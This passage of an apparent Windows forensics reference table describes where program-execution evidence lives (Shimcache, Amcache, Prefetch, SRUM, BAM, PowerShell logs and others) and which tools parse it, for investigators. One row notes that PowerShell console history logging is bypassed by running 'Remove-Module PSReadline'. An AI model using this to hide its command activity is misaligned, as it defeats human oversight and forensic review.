| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - |
| <p><code>EVTX</code><br>-<br><code>Security.evtx</code><br>-<br>Process creation</p>                                                                                                                                                            | Programs execution                                                                             | <p>For more information:<br><a href="/pages/-MNLC0MjcKuZyGQ7SUTE">Program execution note</a>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | <p>Event <code>4688</code>: <code>A new process has been created</code><br>Event <code>4689</code>: <code>Process Termination: Success and Failure</code><br><br>Requires <code>Audit Process Creation</code> to be enabled.<br><br>If the <code>ProcessCreationIncludeCmdLine\_Enabled</code> audit policy is enabled, the command line specified at the process creation will be logged.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `Security.evtx`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                             |   |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>Application Compatibility Cache</code> (<code>Shimcache</code>)</p>                                                                                                                                   | <p>Programs execution (before Windows 10 / Windows Server 2016)<br><br>Executable presence</p> | <p>Application compatibility feature that aim to maintain support of existing software to new versions of the Windows operating system.<br><br>A <code>Shimcache</code> entry is created whenever a program is executed from a specific path. However, starting from the Windows Vista and Windows Server 2008 operating systems, entries may also be created for files in a directory that is accessed interactively.<br><br><code>Shimcache</code> entries are only written to the registry upon shutdown of the system. The <code>Shimcache</code> entries generated since the last system boot are thus only stored in memory.<br><br>Limited to 96 entries on Windows XP / Windows Server 2003, and 1024 entries starting from Windows Vista.<br><br>For more information: <a href="/pages/-Mj0lx0HwEHeEwMIRNCj">Shimcache note</a>.</p>                                                              | <p>Each <code>Shimcache</code> entries contain the following notable information:<br><br>- The associated file full path.<br><br>- On Windows 2003 / XP 64-bit and older, the file size.<br><br>- The <code>LastModifiedTime</code> (<code>$Standard\_Information</code>) timestamp of the file, <strong>which does not necessarily reflect the execution time. Indeed, <code>Shimcache</code> entries are not directly associated with an insert / executed timestamp.</strong><br><br>- The cache entry position, as a numerical value starting from 0, which represents the insertion position in the <code>Shimcache</code>. \*\*The lower the value, the more recently the program was shimmed.<br><br>- From Windows Vista / Windows Server 2008 to Windows 8.1 / Windows Server 2012 R2, the (undocumented) <code>Insert Flag</code> flag which, when set, seems to indicate that the entry was executed. <strong>This flag is no longer present starting from Windows 10 / Windows Server 2016, and thus a <code>Shimcache</code> entry does not necessarily reflect an execution</strong> (as entries may also be created for files in a directory that is accessed interactively).<br><br>- On <code>Windows XP 32-bit</code>, the file <code>Last Update Time</code> timestamp.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br>Registry key: <code>HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | <p><code>AppCompatCacheParser.exe</code><br><br>For entries present in memory:<br><code>Volatility2</code>'s <code>shimcache</code> plugin.</p>                             |   |
| <p><code>Amcache</code><br><br><code>RecentFileCache</code><br><em>For <code>DLL</code> 6.1.7600, replaced by <code>Amcache.hve</code> on up-to-date systems.</em><br><br>Starting from Windows 7 & Windows Server 2008 R2</p>                  | <p>Programs execution (for non up-to date system)<br><br>Executable presence</p>               | <p>Very complex artefact, linked to an application compatibility feature that aim to maintain support of existing software to new versions of the Windows operating system (like the <code>Shimcache</code> artefact). The <code>Amcache</code> is a standalone registry hive, with multiple root keys that contain various types of data.<br><br>The <code>Amcache</code> behavior depends on the version of the associated libraries, and not the version of the operating system. The <code>Amcache</code> on an up-to-date Windows 7 and Windows 10 will thus behave the same way.<br><br>A <code>Amcache</code> entry is created whenever a program is executed from a specific path. However, entries may also be created for files in "scanned" directory.<br><br>For more information: <a href="/pages/-Mj0lx07qEJuJD06NOgz">Amcache note</a>.</p>                                                 | <p>The <code>Amcache.hve</code> registry hive is split in a number of root keys, with keys being added, changed, or removed depending on the <code>Amcache</code> <code>DLLs</code> versions.<br><br>The following notable root keys can be of forensic interest:<br><br>- <code>File</code> then <code>InventoryApplicationFile</code> starting from the version <code>10.0.14913.1002</code> of the <code>Amcache</code> libraries (<code>AmcacheParser</code> outputs <code>AssociatedFileEntries</code> and <code>UnassociatedFileEntries</code>):<br><br>> Data about program executions if they are shimmed, programs part of an installed application, and programs part of scanned directories (with out requiring execution of the associated programs).<br><br>> <code>AmcacheParser</code>'s <code>AssociatedFileEntries</code> output references programs associated with an application and <code>UnassociatedFileEntries</code> output references "loose" programs (that are not associated with an installed application).<br><br>> Data available (depending on the <code>Amcache</code> libraries version): executable full path, program size, <strong><code>SHA1</code> of the first 30MB of the executable</strong> in the <code>FileId</code> value, binary type (x86 versus x64), the compilation date of the program in the <code>LinkDate</code> value.<br><br>> Additional data for entries associated with an installed application is available in the <code>InventoryApplication</code> key. The <code>ProgramId</code> value from the <code>InventoryApplicationFile</code> subkey of a given program matches the subkey's name under the <code>InventoryApplication</code> key of the associated application. The <code>InventoryApplication</code> key provide metadata information about the application: name, publisher, install date, etc.<br><br>> For non up-to-date systems still using a <code>File</code> key, the last write time of an entry key under the <code>File</code> key coincides with the execution time of an executable or the application installation time. For entries under the newer <code>InventoryApplicationFile</code> key, the last write time of the keys always coincides with an execution of <code>Microsoft Compatibility Appraiser</code> and is thus no longer a timestamp of execution time.<br><br>- <code>InventoryDeviceContainer</code> and <code>InventoryDevicePnp</code> (<code>AmcacheParser</code> outputs <code>DeviceContainers</code> and <code>DevicePnp</code>):<br><br>> Data about devices plugged in on the system.<br><br>> Data available: device type (usb; Bluetooth, media, ...), device friendly name, self reported description, manufacturer, associated driver, ...<br><br>- <code>InventoryDriverBinary</code> (<code>AmcacheParser</code> output <code>DriveBinaries</code>):<br><br>> Data about installed drivers.<br><br>> Data available: driver name, full path, size, associated service name, compilation timestamp (<code>DriverTimestamp</code>), driver file last write timestamp, ...<br><br>- <code>InventoryDriverPackage</code> (<code>AmcacheParser</code> output <code>DriverPackages</code>):<br><br>> Data about drivers package file (INF file) that contains information about the driver.<br><br>> Data available: driver package file name, path, last write timestamp, ...<br><br>- <code>Programs</code> then <code>InventoryApplication</code> (<code>AmcacheParser</code> output <code>ProgramEntries</code>):<br><br>> Data about installed programs, as referenced in the <code>Uninstall</code> and / or a <code>Run</code> key of the <code>SOFTWARE</code> hive.<br><br>> Data available: application name, executable full path and SHA1, publisher, install date, ...<br><br><code>InventoryApplicationShortcut</code> (<code>AmcacheParser</code> output <code>ShortCuts</code>):<br><br>> Data about the shortcuts (<code>LNK</code> files) that were present at one time (and that may still be present or may have been removed) from a subset of scanned folders (Start Menu and / or Desktop folders).<br><br>> Data available: full path of the shortcut. The last write timestamp of the associated subkey can also be a general indicator of when the activity occurred but does not seem to match any <code>MACB</code> timestamps of the shortcut file.</p> | <p><code>DLL</code> 6.1.7600:<br><code>%SystemRoot%\AppCompat\Programs\RecentFileCache.bcf</code><br><br><code>%SystemRoot%\AppCompat\Programs\Amcache.hve</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `AmcacheParser.exe`                                                                                                                                                         |   |
| <p><code>PCA</code><br><br>Introduced in Windows 11 22H2.</p>                                                                                                                                                                                   | Programs execution (GUI programs only)                                                         | <p>The <code>Program Compatibility Assistant (PCA)</code> is another application compatibility feature that aim to maintain support of existing desktop applications to new versions of the Windows operating system (like the <code>Shimcache</code> and <code>Amcache</code> artefacts). <code>PCA</code> is linked to the <code>pcasvc</code> service.<br><br>Executions of programs with a graphical interface, installed or from a portable executable. Command line programs executed as GUI programs (such as by double clicking on the CLI executable from <code>Windows Explorer</code>) will also generate an entry.</p>                                                                                                                                                                                                                                                                         | <p>The information stored by the <code>PCA</code> is split in 3 text based files:<br><br>- <code>PcaAppLaunchDic.txt</code>:<br>> Most valuable file from a forensic standpoint and reliable source of program execution.<br>> One entry per line, containing the full path of the executable and the timestamp of execution in <code>UTC</code> (in a pipe separated string).<br>> Example: <code>%SystemRoot%\FOLDER\executable.exe                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2023-05-25 01:20:30.123</code>.<br><br>- <code>PcaGeneralDb0.txt</code> and <code>PcaGeneralDb1.txt</code>:<br>> Less entries than in the <code>PcaAppLaunchDic.txt</code> file, with most entries seemingly related to non <code>0x0</code> execution exit code.<br>> One entry per line, containg the following information in a pipe delimited string:<br>\* Execution timestamp.<br>\* Execution status.<br>\* Full path of the executable.<br>\* Description of the executable and its vendor name.<br>\* File version.<br>\* <code>ProgramId</code> referenced in the <code>Amcache</code> registry hive (<code>InventoryApplicationFile</code> key).<br>\* Exit code of the execution.</p> | <p>Files under <code>%SystemRoot%\appcompat\pca</code>:<br><br><code>PcaAppLaunchDic.txt</code><br><br><code>PcaGeneralDb0.txt</code><br><code>PcaGeneralDb1.txt</code></p> |   |
| <p><code>Prefetch</code><br><br>Not present by default on Windows Server Operating Systems.</p>                                                                                                                                                 | Programs execution                                                                             | <p><code>Prefetch</code> is a performance enhancement feature that enables prefetching of applications to make system boots or applications startups faster.<br><br>Limited to 128 entries (<code>Prefetch</code> files) on Windows XP to Windows 7, and 1024 entries starting from Windows 8.<br><br>For more information: <a href="/pages/-M_k4zl1MxoYghwMzRB8">Prefetch note</a>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>The <code>Prefecth</code> filenames are based on the executed program name and a hash, computed using a proprietary algorithm and based on the full path (and for some binaries, such as <code>dllhost.exe</code> or <code>svchost.exe</code>, command line parameters) of the executed program.<br><br>Each <code>Prefecth</code> file can yield the following information:<br><br>- The file name and size of the binary executed.<br><br>- The first and, starting from Windows 8, the last eight executions timestamps<br><br>- The <code>Prefecth</code> file <code>NTFS</code> created and last modified timestamps also indicate the first and last time the program was executed.<br><br>- The run count (number of time the binary was executed).<br><br>- The list of files and directories accessed during the first ten seconds of execution (including the eventual <code>DLL</code> loaded or PowerShell scripts for PowerShell execution).<br><br>Whether the <code>Prefect</code> feature is enabled is configured by the <code>EnablePrefetcher</code> registry key:<br>- <code>0x0</code> / undefined: disabled (default on Windows Server Operating Systems).<br>- <code>0x1</code>: Partially enabled (application prefetching only).<br>- <code>0x2</code>: Partially enabled (boot prefetching only).<br>- <code>0x3</code>: Enabled (application and boot prefetching).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | <p><code>Prefetch</code> files (<code>.PF</code>) in:<br><code>%SystemRoot%\Prefetch\*</code><br><br><code>EnablePrefetcher</code>:<br><code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                | `PECmd.exe`                                                                                                                                                                 |   |
| <p><code>System Resource Usage Monitor (SRUM)</code><br><br>Introduced in Windows 8.</p>                                                                                                                                                        | Programs execution                                                                             | <p><code>SRUM</code> is a feature that records numerous metrics of system activities, with a limited subset of the available information displayed within the Windows <code>Task Manager</code> ("App history" tab).<br><br>The <code>SRUM</code> database is a <code>ESE</code> database that notably yields information related to programs execution and executed programs' network usage.<br><br>The <code>SRUM</code> database only stores data for the last 30 to 60 days.<br><br>Entries are not associated with their timestamp of occurrence but with the timestamp of insertion in the <code>SRUM</code> database. As entries are only written to the <code>SRUM</code> database every hour, timestamps are thus precise to the hour (with multiple entries usually sharing the same insertion timestamp).<br><br>For more information: <a href="/pages/x2rYnNjOQwGuqitNbhh7">SRUM note</a>.</p> | <p>Related to program execution, the <code>Application Resource Usage</code> (GUID <code>{D10CA2FE-6FCF-4F6D-848E-B2E99266FA89}</code>) and <code>App Timeline Provider</code> (GUID <code>{5C8CF1C7-7257-4F13-B223-970EF5939312}</code>) tables track programs execution.<br><br><br>For each entry in the <code>Application Resource Usage</code> table (<code>SrumECmd</code>'s <code>AppResourceUseInfo</code> output), the following information may be recorded:<br><br>- Timestamp of the <code>SRUM</code> entry creation.<br><br>- Full path of the executable or application information / description for built-in components.<br><br>- User <code>SID</code> of the user executing the process.<br><br>- Metrics on CPU usage (CPU time in foreground and background).<br><br>- Metrics on I/O operations (foreground / background number of read / write operations and bytes read / written).<br><br><br>For each entry in the <code>Application Resource Usage</code> table (<code>SrumECmd</code>'s <code>AppTimelineProvider</code> output), the following information may be recorded:<br><br>- Timestamp of the <code>SRUM</code> entry creation.<br><br>- Name of the executable and description for built-in components.<br><br>- Timestamp of compilation of the executable.<br><br>- User <code>SID</code> of the user executing the process.<br><br>- Timestamp of seemingly approximate end of execution.<br><br>- Total duration of execution (in milliseconds).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | `%SystemRoot%\System32\SRU\SRUDB.dat`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `SrumECmd`                                                                                                                                                                  |   |
| <p>Windows 10 Timeline / <code>ActivitiesCache.db</code><br><br>Introduced in Windows 10's version 1803.</p>                                                                                                                                    | Programs execution                                                                             | <p>The Windows Activity history tracks a number of operations on the system: programs used, local files opened, SharePoint documents consulted, and websites browsed (using Internet Explorer / Microsoft Edge Legacy). The Activity history can be consulted in the Windows Timeline (Windows + Tab keys).<br><br>The <code>ActivitiesCache.db</code> is a <code>SQLite</code> database that locally stores the activity for its associated user.<br><br>The <code>ActivitiesCache.db</code> only stores data for the last 30 days by default.</p>                                                                                                                                                                                                                                                                                                                                                        | <p>The <code>ActivitiesCache.db</code> is composed of a number of tables, with the following tables being of interest:<br><br>- <code>Activity</code> / <code>ActivityOperation</code> tables: data about various activities for different operation / activity type: program execution and opening of a file (5, <code>ExecuteOpen</code>), copy-pasting from a program (<code>CopyPaste</code>), application "in focus" (<code>InFocus</code>), ...<br>> Data available, varying depending on the activity type: the activity ID (GUID), executable full path for program execution, display text and content info that may contain file name / SharePoint link, start (<code>startedDateTime</code>) and end (<code>lastActiveDateTime</code>) of the activity (in <code>UTC</code>), created and last modified timestamp of the associated file (local or on SharePoint), the user's device timezone, ...<br>> An activity data can be present in either or both tables depending on the activity lifecycle. For example, a new activity will only be present in the <code>Activity</code> table, while an activity in the "upload queue" will be placed in the <code>ActivityOperation</code> table.<br><br>- <code>Activity\_PackageId</code>: data about the application(s) / program(s) linked to a specific activity (identified by its activity ID).<br>> Data available: the activity ID (GUID), the application name / program filename, eventual program full path, activity expiration timestamp (timestamp of occurrence + 30 days by default).<br>> Upon occurrence of an activity, one or multiple entries sharing the same activity ID will be created in the <code>Activity\_PackageId</code> table, one for each program / application related to the activity.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | `%SystemRoot%\Users\<USERNAME>\AppData\Local\ConnectedDevicesPlatform\[L.<USERNAME> \| *]\ActivitiesCache.db`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |                                                                                                                                                                             |   |
| <p><code>NTUSER</code><br>-<br><code>UserAssist</code></p>                                                                                                                                                                                      | Programs execution (GUI programs only)                                                         | <p>The purpose of the <code>UserAssist</code> registry key is not officially documented.<br><br>The registry key references executions of programs with a graphical interface, installed or from a portable executable.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | <p>One or two main registry subkeys can be found depending on the Windows OS version:<br><br>- On Windows Xp, <code>{75048700-EF1F-11D0-9888-006097DEACF9}</code> linked to execution of executable files<br><br>- Starting from Windows 7, <code>{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}</code> linked to execution of executable files and <code>{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}</code> linked to execution of shortcut files.<br><br>Keys are <code>ROT13</code> encoded, and contains the following notable information:<br><br>- Full path of the executed program / shortcut.<br><br>- Sometimes, the timestamp of the last execution.<br><br>- An unreliable run counter and focus time.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br>Registry key: <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\&#x3C;GUID>\Count</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |                                                                                                                                                                             |   |
| <p><code>UsrClass</code><br>-<br><code>MUICache</code></p>                                                                                                                                                                                      | Programs execution (GUI programs only)                                                         | <p><code>Multilanguage User Interface (MUI)</code> is a feature to allow applications to have a single executable for multiple languages. <code>MUI</code> files can be created, one per supported language, to switch the application display language.<br><br>The registry key references executions of programs with a graphical interface, installed or from a portable executable.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | <p>Each execution is associated with two values under the <code>MUICache</code> registry key, both starting with the executable full path.<br><br>The values data reference information retrieved from the executable's <code>Version</code> information from its resources section (<code>.rsrc</code>):<br><br>- <code>\<PE\_FULL\_PATH>.FriendlyAppName</code>: references the executable <code>FileDescription</code>. This can be used to identify renamed executable, as the original filename is likely going to be referenced by the <code>FileDescription</code> attribute.<br><br>- <code>\<PE\_FULL\_PATH>.ApplicationCompany</code>: references the executable <code>CompanyName</code>.<br><br><strong>The <code>MUICache</code> does not provide a timestamp of execution</strong>, and the last write timestamp of the key cannot be used to infer the timestamp of execution (as the entries are stored directly as registry values).</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File:<br><code>%SystemDrive%:\Users\&#x3C;USERNAME>\AppData\Local\Microsoft\Windows\UsrClass.dat</code><br><br>Registry keys:<br><code>HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MUICache</code><br><code>HKCU\Local Settings\MuiCache</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                             |   |
| <p><code>HKLM\SYSTEM</code><br>-<br><code>Background Activity Moderator (BAM)</code><br>/<br><code>Desktop Activity Moderator (DAM)</code><br><br>Introduced in Windows 10's Fall Creators update - version 1709.</p>                           | Programs execution                                                                             | `BAM` is a mostly undocumented feature that controls the programs executed in the background. `DAM` is a feature for devices supporting the "Connected Standby" mode (i.e when a device is turned on, but its display will be turned off). As a result, the `BAM` registry keys will contain data on any devices, while `DAM` registry keys will only contain data on mobile devices.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | <p>The <code>BAM</code> registry key contains multiple subkeys under <code>bam\State\UserSettings</code>, with one subkey per user, identified with the user <code>SID</code>. While the key is in the <code>SYSTEM</code> registry hive, program executions can thus still be tied to a specific user using this <code>SID</code>.<br><br>Each user-specific key contains a list of executed programs, with their full path and timestamp of last execution.<br><br>If a file is deleted, the eventual associated entry in the <code>BAM</code> is deleted as well after the system reboot. Additionally, <code>BAM</code> entries older than 7 days are deleted upon system boot. The <code>BAM</code> thus provides limited information on historic execution of programs.<br><br>No entries are created in the <code>BAM</code> keys for executables on removable media and/or on network shares.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | <p>File: <code>%SystemRoot%\System32\config\SYSTEM</code><br><br>Registry key:<br><code>HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\&#x3C;SID>\*</code><br>After from Win10 1809: <code>HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\&#x3C;SID>\*</code><br><br><code>HKLM\SYSTEM\CurrentControlSet\Services\dam\UserSettings\&#x3C;SID>\*</code><br>After from Win10 1809: <code>HKLM\SYSTEM\CurrentControlSet\Services\dam\State\UserSettings\&#x3C;SID>\*</code></p>                                                                                                                                                                                              |                                                                                                                                                                             |   |
| <p><code>NTUSER</code><br>-<br><code>FeatureUsage</code><br><br>Introduced in Windows 10's version 1903.</p>                                                                                                                                    | Programs execution                                                                             | Feature linked to the Windows Task, storing a number of metrics related to the Task bar usage.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | <p>Each operation (detailed below) is associated with an entry composed of the program full path and operation run count. No timestamp of execution is available.<br><br>Subregistry keys:<br><br>- <code>AppSwitched</code>: number of times an application was brought to focus (application left-clicked on the taskbar).<br><br>- <code>ShowJumpView</code>: number of times the jump menu of an application was opened (application right-clicked on the taskbar).<br><br>- <code>AppBadgeUpdated</code>: number of times an application on the taskbar has have its icon updated (for example for notifications).<br><br>- <code>AppLaunch</code>: number of times an application pinned on the taskbar has been executed.<br><br>- <code>TrayButtonClicked</code>: numer of times a default taskbar button (such as the Windows start button) was clicked.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | <p>File: <code>%SystemDrive%:\Users\&#x3C;USERNAME>\NTUSER.dat</code><br><br>Registry keys under <code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage</code>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |                                                                                                                                                                             |   |
| <p><code>EVTX</code><br>-<br>PowerShell activity events</p>                                                                                                                                                                                     | Programs execution and PowerShell activity                                                     | <p>For more information:<br><a href="/pages/-MNLC0LZVa2NVsEASe9G">PowerShell activity note</a>.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | <p><code>Microsoft-Windows-PowerShell%4Operational</code>:<br>- Event <code>4103</code>, related to PowerShell modules. Requires PowerShell <code>Module Logging</code> to be enabled.<br>- Event <code>4104</code>, related to PowerShell script block. Requires PowerShell <code>Script Block Logging</code> to be enabled. By default, events will however be logged for potentially-malicious commands execution.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | `Microsoft-Windows-PowerShell%4Operational`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |                                                                                                                                                                             |   |
| <p>PowerShell console activity <code>ConsoleHost\_history.txt</code><br><br>Introduced in Windows 10 / PowerShell 5.</p>                                                                                                                        | Programs execution and PowerShell activity                                                     | <p>Starting with <code>PowerShell v5</code> on <code>Windows 10</code>, the commands entered in a PowerShell console will be logged by the <code>PSReadline</code> module to an user-scoped <code>ConsoleHost\_history.txt</code> file.<br><br>Console-less PowerShell sessions, such as the content of PowerShell script or commands execution through the <code>PowerShell ISE</code>, will not be logged in this file.<br><br>Bypassing <code>PSReadline</code> logging is also easy, as it simply requires to unload the <code>PSReadline</code> module (for instance with the <code>Remove-Module PSReadline</code> in an existing PowerShell session).</p>                                                                                                                                                                                                                                           | <p>The <code>ConsoleHost\_history.txt</code> file contains the commands entered, with one command per line and no associated timestamps (or any additional metadata).<br><br>By default, the last 4096 commands are conserved.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | `%SystemDrive%:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                             |   |
| .NET CLR `UsageLogs`                                                                                                                                                                                                                            | Programs execution                                                                             | <p>Following the execution (or in-memory injection) of a .NET assembly, the <code>Common Language Runtime (CLR)</code> creates a <code>Usage Log</code> file whose named is based on the name of the executed assembly.<br><br>The file is written just prior the assembly execution terminate, and will thus not be written if the process does not gracefully exit.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | <p>The filename of the log file match the name of the assembly / binary executed.<br><br>The file creation timestamp corresponds to the first time the associated assembly was executed and the file last modification timestamp corresponds to the last execution time of the assembly.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                